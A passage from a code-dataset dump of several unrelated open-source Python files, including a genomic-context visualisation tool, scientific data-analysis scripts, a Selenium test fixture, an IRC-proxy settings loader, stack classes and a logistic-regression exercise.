gridplot([[gc_row],[table_div],[family_table]], merge_tools = True)\n\t\t\tcurr_tab = Panel(child = grid, title = operon_type)\n\t\t\tall_tabs.append(curr_tab)\n\t\t\n\t\t\tall_tabs = Tabs(tabs=all_tabs)\n\t\t\tgrid = gridplot([[div], [all_tabs]], merge_tools = True)\n\n\t\t\toutput_file(\"{}/{}_advanced_operons_interactive_output_{}.html\".format(os.getcwd(), label, operon_type))\n\t\t\tsave(grid)\n\n\ndef write_summary_table(operons, all_syntenies, taxonomy, label = None):\n\n\tout_file = '{}_summary_table.tab'.format(label)\n\t\n\twith open(out_file, 'w') as outf:\n\t\tif 'TM_annotations' in all_syntenies[list(all_syntenies.keys())[0]]['flanking_genes']:\n\t\t\toutf.write('Operon type\\tTarget\\tAssemblyId\\tGene direction\\tGene start\\tGene end\\tRelative gene start\\tRelative gene end\\tProtein family code\\tEntrzID\\tProtein name\\tTransmembrane/Signal peptide prediction\\tSuperkingdom\\tPhylum\\tClass\\tOrder\\tGenus\\tSpecies\\n\\n')\n\t\telse:\n\t\t\toutf.write('Operon type\\tTarget\\tAssemblyId\\tGene direction\\tGene start\\tGene end\\tRelative gene start\\tRelative gene end\\tProtein family code\\tEntrzID\\tProtein name\\tSuperkingdom\\tPhylum\\tClass\\tOrder\\tGenus\\tSpecies\\n\\n')\n\t\tfor operon in operons:\n\t\t\toperon_type = operon.split()[-2]\n\t\t\tfor target in operons[operon]['target_members']:\n\t\t\t\toutf.write('\\n')\n\t\t\t\tfor superkingdom in taxonomy.keys():\n\t\t\t\t\tfor phylum in taxonomy[superkingdom].keys():\n\t\t\t\t\t\tfor taxclass in taxonomy[superkingdom][phylum].keys():\n\t\t\t\t\t\t\tfor order in taxonomy[superkingdom][phylum][taxclass].keys():\n\t\t\t\t\t\t\t\tfor genus in taxonomy[superkingdom][phylum][taxclass][order].keys():\n\t\t\t\t\t\t\t\t\tfor species in taxonomy[superkingdom][phylum][taxclass][order][genus].keys():\n\t\t\t\t\t\t\t\t\t\tif target in taxonomy[superkingdom][phylum][taxclass][order][genus][species]['target_members']:\n\t\t\t\t\t\t\t\t\t\t\tfor i, prot_name in enumerate(all_syntenies[target]['flanking_genes']['names']):\n\t\t\t\t\t\t\t\t\t\t\t\toutf.write('{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t'.format(operon_type, target, all_syntenies[target]['assembly_id'][1], all_syntenies[target]['flanking_genes']['directions'][i], all_syntenies[target]['flanking_genes']['starts'][i], all_syntenies[target]['flanking_genes']['ends'][i]))\n\t\t\t\t\t\t\t\t\t\t\t\toutf.write('{}\\t{}\\t{}\\t{}\\t{}\\t'.format(all_syntenies[target]['flanking_genes']['relative_starts'][i], all_syntenies[target]['flanking_genes']['relative_ends'][i], all_syntenies[target]['flanking_genes']['families'][i], all_syntenies[target]['flanking_genes']['ncbi_codes'][i], all_syntenies[target]['flanking_genes']['names'][i]))\n\t\t\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\t\t\tif 'TM_annotations' in all_syntenies[target]['flanking_genes']:\n\t\t\t\t\t\t\t\t\t\t\t\t\toutf.write('{}\\t{}\\t{}\\t{}\\t{}\\t{}\\t{}\\n'.format(all_syntenies[target]['flanking_genes']['TM_annotations'][i], superkingdom, phylum, taxclass, order, genus, species))\n\t\t\t\t\t\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\t\t\t\t\t\toutf.write('{}\\t{}\\t{}\\t{}\\t{}\\t{}\\n'.format(superkingdom, phylum, taxclass, order, genus, species))\n\t\t\t\t\t\n\t\t\t\t\t\n# MAIN CODE\n\ndef main():\n\n\t# GET INPUTS\n\tparser = argparse.ArgumentParser(prog = 'GCsnap v1.0.17', usage = 'GCsnap -targets -user_email [options]', \n\t\t\t\t\t\t\t\t\t description = 'GCsnap is a python-based, local tool that generates interactive snapshots\\nof conserved protein-coding genomic contexts.',\n\t\t\t\t\t\t\t\t\t epilog = 'Example: GCsnap -targets PHOL_ECOLI A0A0U4VKN7_9PSED A0A0S1Y445_9BORD -user_email 0:\n\t\t\tworking_dir = '{}/{}_{}'.format(starting_directory, out_label, out_label_suffix)\n\t\telse:\n\t\t\tworking_dir = '{}/{}'.format(starting_directory, out_label)\n\n\t\tif not os.path.isdir(working_dir):\n\t\t\tos.mkdir(working_dir)\n\t\tos.chdir(working_dir)\n\n\t\t# Write arguments file, which summarises all arguments used\n\t\twrite_arguments_file(args, out_label)\n\t\t\t\n\t\t# Collect the genomic_context of all target ncbi codes \n\t\tcurr_targets = targets[out_label]\n\n\t\tif len(curr_targets) > 1:\n\t\t\tprint(\"\\n 1. Collecting the genomic contexts of {} unique input entrezIDs (may take some time)\\n\".format(len(curr_targets)))\n\t\t\tall_syntenies = get_genomic_context_information_for_ncbi_codes(curr_targets, refseq_gb_assembly_map = refseq_gb_assembly_map, n_flanking5 = n_flanking5, n_flanking3 = n_flanking3, exclude_partial = exclude_partial, tmp_folder = tmp_folder, threads = n_cpus)\n\n\t\t\tif len(all_syntenies) > 1:\n\t\t\t\tif not collect_only:\n\t\t\t\t\t# Find shared protein families by running all-against-all blast searches for all proteins collected\n\t\t\t\t\tprint(\"\\n 2. Finding protein families (may take some time depending on the number of flanking sequences taken)\\n\")\n\t\t\t\t\tall_syntenies, protein_families_summary = find_and_add_protein_families(all_syntenies, out_label = out_label, num_threads = n_cpus, num_alignments = num_alignments, max_evalue = max_evalue, num_iterations = num_iterations, blast = blast, mmseqs = mmseqs, min_coverage = min_coverage, default_base = default_base, tmp_folder = tmp_folder, method = method)\n\n\t\t\t\t\t# Search for functional information and pdb structures (experimental or homology-models, in Swiss-repository) for representatives of the families found\n\t\t\t\t\tif get_pdb or get_functional_annotations:\n\n\t\t\t\t\t\tprint(\"\\n 3. Annotating functions and/or finding structures for the protein families found\\n\")\n\t\t\t\t\t\tprotein_families_summary = update_families_with_functions_and_structures(protein_families_summary, get_pdb = get_pdb, get_functional_annotations = get_functional_annotations, threads = n_cpus)\n\n\t\t\t\t\telse:\n\t\t\t\t\t\tprint(\"\\n 3. Neither functions will be annotated, neither structures will be searched\\n\")\n\n\t\t\t\t\t# Find operon/genomic_context types by clustering them by similarity\n\t\t\t\t\tprint(\"\\n 4. Finding operon/genomic_context types\\n\")\n\t\t\t\t\tall_syntenies, operon_types_summary = find_and_add_operon_types(all_syntenies, protein_families_summary, label = out_label, advanced = operon_cluster_advanced, min_family_freq = min_family_freq, max_family_freq = max_family_freq)\n\n\t\t\t\t\t# Select top N most populated operon/genomic_context types\n\t\t\t\t\tprint(\"\\n 5. Selecting top {} most common operon/genomic_context types\\n\".format(n_max))\n\t\t\t\t\tselected_operons, most_populated_operon = find_most_populated_operon_types(operon_types_summary, nmax = n_max)\n\t\t\t\t\tjson.dump(selected_operons, open('selected_operons.json', 'w'), indent = 4)\n\n\t\t\t\t\t# get taxonomy information\n\t\t\t\t\tif get_taxonomy:\n\t\t\t\t\t\t# Map taxonomy to the input targets. Load if already precomputed\n\t\t\t\t\t\tprint(\"\\n 6. Mapping taxonomy (may take some time)\\n\")\n\t\t\t\t\t\ttaxonomy = map_taxonomy_to_targets(all_syntenies, threads = n_cpus)\n\t\t\t\t\t\tjson.dump(taxonomy, open('taxonomy.json', 'w'), indent = 4)\n\n\t\t\t\t\telse:\n\t\t\t\t\t\tprint(\"\\n 6. Taxonomy will not be mapped\\n\")\n\t\t\t\t\t\ttaxonomy = map_taxonomy_to_targets(all_syntenies, mode = 'as_input')\n\n\t\t\t\t\t# Annotate transmembrane segments\n\t\t\t\t\tif annotate_TM:\n\t\t\t\t\t\t# Try to annotate transmembrane segments\n\t\t\t\t\t\tprint(\"\\n 7. Finding ALL proteins with transmembrane segments and signal peptides\\n\")\n\t\t\t\t\t\tall_syntenies = annotate_TMs_in_all(all_syntenies, annotation_TM_mode, annotation_TM_file, label = out_label)\n\n\t\t\t\t\telse:\n\t\t\t\t\t\tprint(\"\\n 7. Transmembrane segments and signal peptides will not be searched\\n\")\n\n\t\t\t\t\t# Make operon/genomic_context conservation figure\n\t\t\t\t\tprint(\"\\n 8. Making operon/genomic_context blocks figure\\n\")\n\t\t\t\t\ttry:\n\t\t\t\t\t\tmake_genomic_context_figure(selected_operons, most_populated_operon, all_syntenies, protein_families_summary, cmap = genomic_context_cmap, label = out_label, out_format = args.out_format)\n\t\t\t\t\texcept:\n\t\t\t\t\t\tprint(' ... Images not created due to minor errors (likely they are too big)')\n\t\t\t\t\t# Make interactive HTML output\n\t\t\t\t\tif interactive_output:\n\t\t\t\t\t\tprint(\"\\n 9. Making interactive html output file\\n\")\n\t\t\t\t\t\t#check if Bokeh is available\n\t\t\t\t\t\t# try:\n\t\t\t\t\t\tif operon_cluster_advanced:\n\t\t\t\t\t\t\tmake_advanced_interactive_genomic_context_figures(selected_operons, all_syntenies, protein_families_summary, taxonomy, most_populated_operon, input_targets = curr_targets, tree = in_tree, gc_legend_mode = gc_legend_mode, cmap = genomic_context_cmap, label = out_label, sort_mode = sort_mode, min_coocc = min_coocc, n_flanking5=n_flanking5, n_flanking3=n_flanking3, tree_format = in_tree_format, max_family_freq=max_family_freq, min_family_freq=min_family_freq, min_family_freq_accross_contexts=min_family_freq_accross_contexts, clans_file=clans_file, out_label = out_label, num_threads = n_cpus, num_alignments = num_alignments, max_evalue = max_evalue, num_iterations = num_iterations, blast = blast, mmseqs = mmseqs, min_coverage = min_coverage, default_base = default_base, tmp_folder = tmp_folder, method = method)\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tmake_interactive_genomic_context_figure(selected_operons, all_syntenies, protein_families_summary, taxonomy, most_populated_operon, input_targets = curr_targets, tree = in_tree, gc_legend_mode = gc_legend_mode, cmap = genomic_context_cmap, label = out_label, sort_mode = sort_mode, min_coocc = min_coocc, n_flanking5=n_flanking5, n_flanking3=n_flanking3, tree_format = in_tree_format)\n\n\t\t\t\t\t\t# except:\n\t\t\t\t\t\t#\t print(sys.exc_info())\n\t\t\t\t\t\t#\t print(' --> ERROR: Not possible to generate the interactive output. If the error is about Bokeh, check if the correct version is installed and run again. You can install it with \"pip install bokeh==1.3.4\"')\n\t\t\t\t\t\t#\t print(\"\\n ... Interactive html output file will not be generated\\n\")\n\n\t\t\t\t\telse:\n\t\t\t\t\t\tprint(\"\\n 9. Interactive html output file will not be generated\\n\")\n\n\t\t\t\t\t# Write summary table\n\t\t\t\t\tprint(\"\\n Finished {}: Writting summary table\\n\".format(out_label))\n\t\t\t\t\twrite_summary_table(selected_operons, all_syntenies, taxonomy, label = out_label)\n\t\t\t\t\tjson.dump(protein_families_summary, open('protein_families_summary.json', 'w'), indent = 4)\n\n\t\t\t\telse:\n\t\t\t\t\tprint(' GCsnap was asked to collect genomic context only. Will not proceed further.')\n\n\t\t\t\tjson.dump(all_syntenies, open('all_syntenies.json', 'w'), indent = 4)\n\n\t\t\t\tend = time.time()\n\t\t\t\tnumb_seconds = end - start\n\t\t\t\tprint(\"\\n#### Finished {} after: {} \\n\".format(out_label, time.strftime('%H hours %M min %S sec', time.gmtime(numb_seconds))))\n\n\t\t\telse:\n\t\t\t\tprint('\\n --> WARNING: Found genomic contexts for less than 2 targets. Job {} will not be further analysed.'.format(out_label))\n\t\telse:\n\t\t\tprint('\\n --> WARNING: Job {} has less than 2 targets. It will not be analysed.'.format(out_label))\n\nif __name__ == '__main__':\n\n\tmain_start = time.time()\n\tmain()\n\tmain_end = time.time()\n\tmain_numb_seconds = main_end - main_start\n\tprint(\"\\n#### Finished job after: {} \\n\".format(time.strftime('%H hours %M min %S sec', time.gmtime(main_numb_seconds))))\n\n\t","repo_name":"JoanaMPereira/GCsnap","sub_path":"gcsnap/GCsnap.py","file_name":"GCsnap.py","file_ext":"py","file_size_in_byte":182559,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"11"} +{"seq_id":"39421799412","text":"from utils import *\nfrom TP_PMP import utils\nfrom TP_PMP.pmp import PMP\nfrom plot import plot_position\nfrom matplotlib import pyplot as plt\nimport random\nfrom test import predict\nimport pickle\nimport yaml\n\nif __name__ == '__main__':\n # Load data\n with open('../task_config.yaml') as file:\n config = yaml.load(file, Loader=yaml.FullLoader)\n \n base_dir = os.path.join(config[\"project_path\"], config[\"postprocessed_dir\"])\n with open(os.path.join(base_dir, 'processed', 'gripper_trajs_in_obj_aligned_filtered.pickle', ), 'rb') as f1:\n gripper_trajs_in_obj = pickle.load(f1)\n with open(os.path.join(base_dir, 'processed', 'HTs_obj_in_ndi.pickle', ), 'rb') as f2:\n HTs_obj_in_ndi = pickle.load(f2)\n\n gripper_trajs_full = load_gripper_trajectories(base_dir)\n n_actions = get_number_of_actions(base_dir)\n gripper_trajs_truncated = get_gripper_trajectories_for_each_action(base_dir, gripper_trajs_full, n_actions)\n ind = 0\n gripper_traj_in_ndi = gripper_trajs_truncated[ind]\n gripper_traj_in_obj = gripper_trajs_in_obj[ind]\n HT_obj_in_ndi = HTs_obj_in_ndi[ind]\n demos = gripper_traj_in_ndi.keys()\n\n # Train model\n n_train = 6\n dims = [ 'x', 'y', 'z']\n individuals = config[\"individuals\"]\n n_dim = len(dims)\n bad_demos = ['463678', '636936', '636938', '463675']\n demos = [demo for demo in demos if demo not in bad_demos]\n train_demos = random.sample(demos, k=n_train)\n test_demo = [demo for demo in demos if demo not in train_demos and demo not in bad_demos][0]\n gripper_trajs_in_obj_train = {individual: {'pose': [], 'time': []} for individual in individuals}\n for individual in individuals:\n for d in train_demos:\n t = gripper_traj_in_obj[individual][d]['Time'].to_numpy().flatten()\n t = t / t[-1]\n gripper_trajs_in_obj_train[individual]['pose'].append(\n gripper_traj_in_obj[individual][d].loc[:, dims].to_numpy())\n gripper_trajs_in_obj_train[individual]['time'].append(t)\n\n dof = int(len(dims))\n dim_basis_fun = 30\n inv_whis_mean = lambda v, Sigma: 9e-1 * utils.make_block_diag(Sigma, dof) + 1e-1 * np.eye(dof * dim_basis_fun)\n prior_Sigma_w = {'v': dim_basis_fun * dof, 'mean_cov_mle': inv_whis_mean}\n\n # Every object has one pmp model\n pmps = {}\n for individual in individuals:\n Q = gripper_trajs_in_obj_train[individual]['pose']\n times = gripper_trajs_in_obj_train[individual]['time']\n model_pmp = PMP(Q, times, 3)\n model_pmp.train()\n pmps[individual] = model_pmp\n\n ### Test on test traj\n ground_truth = gripper_traj_in_ndi[test_demo][dims].to_numpy()\n t_pmp = np.linspace(0, 1, ground_truth.shape[0])\n\n mu_mean_pmp, sigma_mean_pmp = predict(pmps, t_pmp, test_demo, HT_obj_in_ndi, individuals)\n\n mid = 0.62\n fig = plt.figure(figsize=(12, 10))\n ax2 = fig.add_subplot(1, 1, 1, projection='3d')\n plot_position(ax2, mu_mean_pmp[:, :3], ground_truth[:, :3], mid,\n title=f'PMP position prediction for demo {test_demo}')\n fig.legend()\n plt.show()","repo_name":"x35yao/make_tea","sub_path":"trajectory_modeling/sample_pmp.py","file_name":"sample_pmp.py","file_ext":"py","file_size_in_byte":3100,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"5318192016","text":"import pytest\nfrom selenium import webdriver\nfrom selenium.webdriver.chrome.options import Options\n\nchrome_driver = './drivers/chromedriver.exe'\n\n\ndef pytest_addoption(parser):\n parser.addoption('--language', action='store', default=\"en-gb\",\n help=\"Choose language: en-gb, ru, ar, ca, cs, da, de, el, es, fi, fr, it, ko, nl, pl, pt, pt-br, ro, sk, uk, zh-cn\")\n\n\n@pytest.fixture(scope=\"function\")\ndef browser(request):\n language = request.config.getoption(\"language\")\n options = Options()\n options.add_experimental_option('prefs', {'intl.accept_languages': language})\n browser = webdriver.Chrome(executable_path=chrome_driver, options=options)\n print(\"\\nstart chrome browser for test..\")\n yield browser\n print(\"\\nquit browser..\")\n browser.quit()\n\n","repo_name":"etercity/launching_autotests_for_multilanguage_ui","sub_path":"conftest.py","file_name":"conftest.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"8472432120","text":"import numpy as np\nfrom csaps import CubicSmoothingSpline\nfrom scipy.signal import argrelextrema \nimport matplotlib.pyplot as plt\nfrom scipy.stats import linregress\n\ndef stb_intensity_and_eff_beam_height(z, cps):\n \"\"\"Determines the straight to beam intensity and effective beam height from XRR zscan data.\n\n z = numpy array of z data, cps = numpy array of cps data.\n Returns tuple: stb, effective beam height\n \"\"\"\n #take first derivative of zscan \n first_deriv = np.gradient(cps, z)\n linspace_z = np.linspace(z[0], z[z.size - 1], z.size)\n\n #apply smoothing curve to first derivative (first derivative is very noisy/choppy, could not analyze well without this)\n d1_fun = CubicSmoothingSpline(z, first_deriv, smooth=0.99995).spline\n d1 = d1_fun(linspace_z)\n\n #find minimum, increase z values until y-value of 0 is reached (this would be the lower plateau in the original zscan curve; \n #where slope = 0). Record that index\n min_pos_d1 = d1.argmin()\n curr_val = d1[min_pos_d1]\n curr_index = min_pos_d1\n while curr_val < 0 and (curr_index < d1.size - 1):\n curr_index = curr_index + 1\n curr_val = d1[curr_index]\n\n if curr_index != (d1.size - 1):\n end_ind_d1 = curr_index - 1\n else: \n end_ind_d1 = curr_index\n\n #from minimum, decrease z values until y-value of 0 is reached (this would be the upper plateau in the original zscan curve; \n #where slope = 0). Record that index. Also record the corresponding z value. \n curr_val = d1[min_pos_d1]\n curr_index = min_pos_d1\n while curr_val < 0 and (curr_index > 0):\n curr_index = curr_index - 1\n curr_val = d1[curr_index]\n\n stb_plat_z_val = linspace_z[curr_index]\n if curr_index != 0:\n start_ind_d1 = curr_index + 1\n else: \n start_ind_d1= curr_index\n\n #reduce the data so the plateaus are omitted. This isn't the linear portion of the data though, just the data without the plateaus.\n #in order to find the linear drop potion of the data, take the second derivative. \n reduced_d1 = d1[start_ind_d1:end_ind_d1]\n reduced_z = linspace_z[start_ind_d1:end_ind_d1]\n d2 = np.gradient(reduced_d1, reduced_z)\n min_pos_d2 = d2.argmin()\n max_pos_d2 = d2.argmax()\n\n #filter the original z data. Only include the linear potion, which is roughly the data between the second derivative min and max. \n #take 4 data points off the end of each side to make it more linear. \n filter_arr = (z >= reduced_z[min_pos_d2 + 4]) & (z <= reduced_z[max_pos_d2 - 4])\n new_z = z[filter_arr]\n new_cps = cps[filter_arr]\n\n #do a linear regression on the filtered data set to get the slope and the intercept \n slope, inter, _, _, _ = linregress(new_z, new_cps)\n\n #calculate the STB intensity \n filter_arr = (z <= stb_plat_z_val)\n stb_reduced_cps = cps[filter_arr]\n stb = np.mean(stb_reduced_cps)\n\n #calculate the z values from the linear regression when cps = STB intensity and cps = 0\n z_1 = (stb - inter) / slope\n z_2 = - inter / slope \n\n #plot z vs cps \n #plt.plot(z, cps)\n #plt.xlabel(\"z (mm)\")\n #plt.ylabel(\"cps\")\n #plt.title(\"zscan\")\n\n #plt.figure()\n #plt.plot(z, cps)\n #plt.vlines(z_1, 0, stb, linestyles='dashed')\n #plt.vlines(z_2, 0, stb, linestyles='dashed')\n #plt.hlines(stb, z[0], z_1, color=\"black\")\n #plt.hlines(0, z_2, z[z.size - 1], color=\"black\")\n #plt.plot(reduced_z, inter + slope * reduced_z)\n #plt.text(1, 1, \"effective beam height = %d\" % abs(z_1 - z_2)) #transform axes from data coords to axis coords!\n #plt.xlabel(\"z (mm)\")\n #plt.ylabel(\"cps\")\n #plt.title(\"zscan\")\n\n return stb, abs(z_1 - z_2), z_1, z_2, reduced_z, inter, slope\n \n","repo_name":"selenium-ctn/XRR_XRD_Analysis","sub_path":"zscan_fun.py","file_name":"zscan_fun.py","file_ext":"py","file_size_in_byte":3715,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"11"} +{"seq_id":"31396539673","text":"n = input(\"Enter: \")\nc1 = 0\nc0 = 0\nfor i in n:\n if i == \"1\":\n c0 = 0\n c1 += 1\n else:\n c1 = 0\n c0 += 1\n if c1 >= 7 or c0 >= 7:\n print(\"YES\")\n break\nif c0 < 7 and c1 < 7:\n print(\"NO\")\n","repo_name":"Rahdi-H/CodeForces","sub_path":"96A.py","file_name":"96A.py","file_ext":"py","file_size_in_byte":236,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"2306779960","text":"from __future__ import annotations\nfrom time import time\nimport os\nimport sys\nimport json\nfrom pathlib import Path\nfrom os import unlink\nfrom os.path import realpath, exists\nfrom cryptography.fernet import Fernet, InvalidToken\nfrom os import path\nfrom users import user_file\n\nw3proxy_dir = path.dirname(path.abspath(__file__))\n\napp_root: Path = Path(w3proxy_dir) / \"..\" / \"www\" / 'app'\n\nhome_file: Path = Path(w3proxy_dir) / 'home.json'\nkey_file: Path = Path(w3proxy_dir) / 'safe.dat'\nflood_file: Path = app_root / 'flood.json'\nbnc_file: Path = app_root / 'bnc.json'\nnet_file: Path = app_root / 'network.json'\n\n\ndef generate_key():\n \"\"\"\n Generates a key and save it into a file\n \"\"\"\n key = Fernet.generate_key()\n with open(key_file, \"wb\") as key_filer:\n key_filer.write(key)\n\n\ndef load_key() -> bytes:\n \"\"\"\n Load the previously generated key\n \"\"\"\n return open(key_file, \"rb\").read()\n\n\ndef encrypt_home():\n \"\"\"\n Encrypts a message\n \"\"\"\n encoded_message_b: bytes = bytes(json.dumps(json_data.home).encode())\n generate_key()\n key: bytes = load_key()\n f = Fernet(key)\n encrypted_message_b = f.encrypt(encoded_message_b)\n with open(home_file, 'wb') as sfw:\n sfw.write(encrypted_message_b)\n\n\ndef decrypt_home():\n \"\"\"\n Decrypts an encrypted message\n \"\"\"\n key: bytes = load_key()\n with open(home_file, 'rb') as sfread:\n home_read = sfread.read()\n f: Fernet = Fernet(key)\n try:\n try:\n decrypted_message: bytes = f.decrypt(home_read)\n json_data.home = json.loads(decrypted_message.decode())\n if not json_data.home:\n raise json.decoder.JSONDecodeError('Invalid', 'Password', 0)\n return json_data.home\n except (InvalidToken, ValueError):\n json_data.home = json.loads(home_read.decode())\n return json_data.home\n except json.decoder.JSONDecodeError:\n json_data.home = {}\n json_data.home['home'] = {}\n json_data.home['home']['server_name'] = 'Unnamed' + str(time()).split('.')[1]\n json_data.home['home']['admin'] = 'your nickname'\n json_data.home['home']['email'] = 'your-email@outlook.com'\n json_data.home['home']['smtp_server'] = 'smtp.outlook.com'\n json_data.home['home']['smtp_port'] = '465'\n json_data.home['home']['smtp_password'] = 'your password'\n encrypt_home()\n return json_data.home\n\n\nclass JSON_Data:\n users: dict[str, dict[str, str]] = {}\n home: dict[str, dict[str, str | int]] = {}\n flood: dict[str, list[str] | dict[str, str | float | int]] = {}\n bnc: dict[str, dict[str, str | int]] = {}\n network: dict[str, dict[str, str | int]] = {}\n\n @classmethod\n def load_files(cls, spec: str | None = None) -> None:\n sys.path.insert(0,'/home/xdcc/website_and_proxy')\n from users import user_file\n\n try:\n error_c += 1\n except NameError:\n error_c: int = 0\n try:\n if exists(user_file) and (not spec or spec == 'user' or spec == 'users'):\n split_lines: list[str]\n removed: set[int] = set()\n data: str\n with open(user_file, 'r') as sfread:\n data = sfread.read()\n data = data.rstrip()\n split_lines = data.split('\\n')\n line_no: int = 0\n for line in split_lines:\n if line.count(':') != 2:\n removed.add(line_no)\n continue\n line_no += 1\n line_split: list[str] = line.split(':')\n if len(line_split) != 3:\n removed.add(line_no)\n continue\n user_low = line_split[0].lower()\n cls.users[user_low]: dict[str, str] = {}\n cls.users[user_low]['user'] = user_low\n cls.users[user_low]['email'] = line_split[1].lower()\n cls.users[user_low]['hash'] = line_split[2]\n\n for i in removed:\n del split_lines[i]\n if removed and split_lines:\n with open(user_file, 'w') as sfopen:\n for line in split_lines:\n sfopen.write(line)\n\n if (not spec or spec == 'home') and exists(home_file):\n cls.home = decrypt_home()\n if (not spec or spec == 'flood') and exists(flood_file):\n with open(flood_file, 'r') as sfread:\n cls.flood = json.load(sfread)\n if (not spec or spec == 'bnc') and exists(bnc_file):\n with open(bnc_file, 'r') as sfread:\n cls.bnc = json.load(sfread)\n\n if (not spec or spec == 'network') and exists(net_file):\n with open(net_file, 'r') as sfread:\n cls.network = json.load(sfread)\n\n except EOFError:\n if error_c == 0:\n cls.load_files(spec)\n error_c: int = 0\n\n @classmethod\n def save_files(cls, spec: str | None = None):\n if not spec or spec == 'user' or spec == 'users':\n with open(user_file, 'w') as sfopen:\n for user in cls.users:\n sfopen.write(cls.users[user]['user'] + ':' + cls.users[user]['email'] + ':' \\\n + cls.users[user]['hash'] + '\\n')\n\n if not spec or spec == 'home':\n encrypt_home()\n if not spec or spec == 'flood':\n with open(flood_file, 'w') as sfwrite:\n sfwrite.write(json.dumps(json_data.flood))\n if not spec or spec == 'bnc':\n with open(bnc_file, 'w') as sfwrite:\n sfwrite.write(json.dumps(json_data.bnc))\n if not spec or spec == ' network':\n with open(net_file, 'w') as sfwrite:\n sfwrite.write(json.dumps(json_data.network))\n\nif not exists(key_file):\n generate_key()\n\njson_data: JSON_Data = JSON_Data()\njson_data.load_files()\njson_data.save_files()\n","repo_name":"ashburry-chat-irc/trio-ircproxy","sub_path":"trio-ircproxy/scripts/website_and_proxy/json_data.py","file_name":"json_data.py","file_ext":"py","file_size_in_byte":6124,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"11"} +{"seq_id":"30469030185","text":"from stack import Stack\n\n\nclass UniqueStack(Stack):\n def __init__(self):\n \"\"\"\n A unique stack is a stack that will only store 1 copy of a particular item\n \"\"\"\n super(UniqueStack, self).__init__()\n self._item_set = set()\n\n def push(self, item):\n \"\"\"\n adds a new item to the stack only if the new item is unique to the stack, also adds the item to\n :param item: new item to be added to the stack\n :raises TypeError: if item is None\n :raises ValueError: if item is already in the stack\n \"\"\"\n if self._item_set.__contains__(item):\n raise ValueError(\"Stack will not two identical objects\")\n self._item_set.add(item)\n super().push(item)\n\n def pop(self):\n \"\"\"\n removes the top item from the stack\n :return: the item from the stack\n \"\"\"\n if len(self._item_set) > 0:\n self._item_set.remove(super().peek())\n return super().pop()\n\n\nclass LimitedStack(Stack):\n def __init__(self, capacity):\n \"\"\"\n A limit stack is a stack with a maximum capacity.\n If the stack size is at capacity, adding a new item will raise LimitedStackOverflowError\n :param capacity: the capacity of the stack\n :raises TypeError: if capacity is not an int\n :raises ValueError: if capacity < 0\n \"\"\"\n if type(capacity) is not int:\n raise TypeError(\"capacity must be of type int\")\n\n if capacity <= 0:\n raise ValueError(\"capacity must be greater than 0\")\n\n super(LimitedStack, self).__init__()\n self._capacity = capacity\n\n def push(self, item):\n \"\"\"\n adds a new item to the stack only if the stack isn't full\n :param item: new item to be added to the stack\n :raises TypeError: if item is None\n :raises LimitedStackOverflowError: if you are trying to add an item past the capacity of the stack\n \"\"\"\n if len(self._stack_items) is self._capacity:\n raise LimitedStack.LimitedStackOverflowError(\"Stack is at capacity\")\n\n super().push(item)\n\n class LimitedStackOverflowError(Exception):\n pass\n\n\nclass RotatingStack(LimitedStack):\n def __init__(self, capacity):\n \"\"\"\n A rotating stack is a stack with a maximum capacity.\n If the stack size is at capacity, adding a new item will remove the oldest item from the stack to make room for\n the new item.\n :param capacity: the capacity of the stack\n :raises TypeError: if item is None\n :raises TypeError: if capacity is not an int\n :raises ValueError: if capacity < 0\n \"\"\"\n super(RotatingStack, self).__init__(capacity)\n self._capacity = capacity\n\n def push(self, item):\n \"\"\"\n adds a new item to the stack, removes the oldest item if the stack is at capacity\n :param item: new item to be added to the stack\n :raises TypeError: if item is None\n \"\"\"\n if item is None:\n raise TypeError(\"item cannot be type None\")\n\n if len(self._stack_items) is self._capacity:\n del self._stack_items[:-1]\n\n self._stack_items.append(item)\n","repo_name":"Michawl1/EECS397_Python","sub_path":"Assignment4/assignment4.py","file_name":"assignment4.py","file_ext":"py","file_size_in_byte":3225,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"11"} +{"seq_id":"30356356843","text":"import sklearn.metrics as mtr\nimport numpy as np\nimport pandas as pd\nimport math\n\n\"\"\"\nЛогическая регрессия\nЗагрузите данные из файла data-logistic.csv. Это двумерная выборка, целевая переменная \nна которой принимает значения -1 или 1.\nУбедитесь, что выше выписаны правильные формулы для градиентного спуска. Обратите внимание, \nчто мы используем полноценный градиентный спуск, а не его стохастический вариант!\nРеализуйте градиентный спуск для обычной и L2-регуляризованной (с коэффициентом регуляризации 10) \nлогистической регрессии. \nИспользуйте длину шага k=0.1. В качестве начального приближения используйте вектор (0, 0).\nЗапустите градиентный спуск и доведите до сходимости (евклидово расстояние между векторами весов на соседних итерациях \nдолжно быть не больше 1e-5). \nРекомендуется ограничить сверху число итераций десятью тысячами.\nКакое значение принимает AUC-ROC на обучении без регуляризации и при ее использов��нии? Эти величины будут ответом на \nзадание. \nВ качестве ответа приведите два числа через пробел. Обратите внимание, что на вход функции \nroc_auc_score нужно подавать оценки вероятностей, подсчитанные обученным алгоритмом. Для этого воспользуйтесь \nсигмоидной функцией: a(x) = 1 / (1 + exp(-w1 x1 - w2 x2)).\n\"\"\"\n\n\n# funct to find Euclidean distance\ndef eucd(v, u):\n return np.sqrt(np.sum((v - u) ** 2))\n\n# sigmoid function\ndef sigmoid(w1, w2, x1, x2):\n return 1/(1+np.exp(-w1*x1 - w2*x2))\n\ndata = np.genfromtxt('/Users/winniethepooh/PycharmProjects/ml/data-out/data-logistic.csv', delimiter=',')\ny = data[:, 0]\nx1 = data[:, 1]\nx2 = data[:, 2]\n\nC = 0 # zero for L1 reg\nw1 = 0\nw2 = 0\neukd = 1\nL = len(y)\ndict = [0.1] # add more variables for different k\nit = 0\nfor k in dict:\n while eukd > 10 ** (-5) and it < 10000:\n sum1 = 0\n sum2 = 0\n for i 